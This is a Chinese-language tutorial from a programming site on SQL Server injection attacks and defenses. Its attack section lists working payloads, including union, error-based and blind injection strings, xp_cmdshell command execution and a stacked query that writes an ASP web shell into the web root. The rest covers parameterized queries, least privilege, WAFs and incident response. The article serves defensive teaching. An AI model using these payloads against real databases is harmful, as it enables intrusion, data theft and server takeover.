首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入攻擊手法彙總與防禦對策:從原理到實戰防護

     編輯:關於SqlServer

本文整理常見 SQL 注入攻擊向量,**僅供防禦研究、滲透測試授權範圍內使用**。理解攻擊原理才能建立有效防線。

核心攻擊分類

類別特徵典型載荷
聯合查詢注入利用 UNION SELECT 併入惡意結果集' UNION SELECT NULL,@@VERSION,NULL--
錯誤回顯注入透過型別轉換錯誤洩露資料' AND 1=CONVERT(INT,@@VERSION)--
盲注 (布爾/時間)無直接回顯,透過頁面差異/延遲推斷' AND (SELECT SUBSTRING(@@VERSION,1,1))='M'--
堆疊查詢多語句執行 (支援批次處理的驅動)'; EXEC xp_cmdshell 'whoami'--
二次注入惡意資料儲存後在二次查詢觸發註冊用戶名 admin'-- 後續登入繞過驗證

高危擴展預存程序 (SQL Server)

  • xp_cmdshell:執行 OS 命令 (預設關閉,需 sp_configure 啟用)
  • xp_regread/write:登錄讀寫
  • sp_OACreate/Method/GetProperty:COM 物件操作 (可執行 WScript.Shell、FileSystemObject)
  • OPENROWSET/OPENDATASOURCE:遠端資料存取 (可反連)
  • xp_dirtree/subdirs/availablemedia:目錄遍歷

典型攻擊鏈範例 (教學用)

' 1. 判斷注入點
' AND 1=1--  (正常)  vs  ' AND 1=2--  (異常)

' 2. 取得版本/用戶/資料庫
' AND 1=CONVERT(INT,@@VERSION)--
' AND 1=CONVERT(INT,DB_NAME())--
' AND 1=CONVERT(INT,SYSTEM_USER)--

' 3. 列舉結構
' UNION SELECT name FROM master..sysdatabases--
' UNION SELECT name FROM targetdb..sysobjects WHERE xtype='U'--
' UNION SELECT name FROM targetdb..syscolumns WHERE id=OBJECT_ID('table')--

' 4. 讀取檔案/執行命令 (需高權限)
'; EXEC master..xp_cmdshell 'type C:\boot.ini'--
'; DECLARE @o INT; EXEC sp_OACreate 'Scripting.FileSystemObject',@o OUT; ... --

' 5. 寫入 WebShell (需知道 Web 路徑)
'; EXEC xp_cmdshell 'echo ^<%execute(request("x"))%^> > c:\inetpub\wwwroot\shell.asp'--

防禦纵深體系

1. 參數化查詢 (核心防線)

' C# 正確範例
using (var cmd = new SqlCommand("SELECT * FROM Users WHERE UserName=@u", conn))
{
    cmd.Parameters.AddWithValue("@u", userInput);
    // 型別安全、計畫重用、完全免疫注入
}

2. 最小權限原則

  • 應用連線帳號:僅 db_datareader/db_datawriter + 執行特定預存程序權限
  • 嚴禁使用 sa / db_owner 連線應用
  • 停用不必要的擴展預存程序:EXEC sp_dropextendedproc 'xp_cmdshell'

3. 輸入驗證與輸出編碼

  • 白名單驗證:ID 必須為數字、郵箱符合 Regex、長度限制
  • 前端輸出 HTML/JS/URL 編碼,防 XSS 聯動

4. WAF / 資料庫防火牆

  • 部署 ModSecurity + OWASP CRS、Cloud WAF、資料庫審計系統
  • 規則覆蓋:聯合查詢、錯誤回顯、堆疊查詢、編碼繞過

5. 錯誤處理與日誌審計

  • 生產環境**關閉詳細錯誤訊息** (customErrors=On, debug=false)
  • 記錄所有 SQL 異常、慢查詢、失敗登入,定期分析

6. 定期滲透測試與代碼審計

  • 自動掃描工具 (SQLMap、Burp Scanner) + 人工審計
  • 重點檢查:動態 SQL 拼接、舊版 ORM 原始查詢、檔案上傳路徑拼接

緊急應變流程

  1. 隔離受影響系統/資料庫
  2. 保全日誌、備份、記憶體映像
  3. 評估洩露範圍 (資料分級、影響用戶數)
  4. 修補漏洞、輪換密鑰、通報主管機關 (依法規)
  5. 事後複盤、更新防禦規則、全員演練

SQL 注入已知超過 20 年,但仍是 OWASP Top 10 常客。**參數化查詢 + 最小權限 + 持續審計**是唯一穩固解法。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved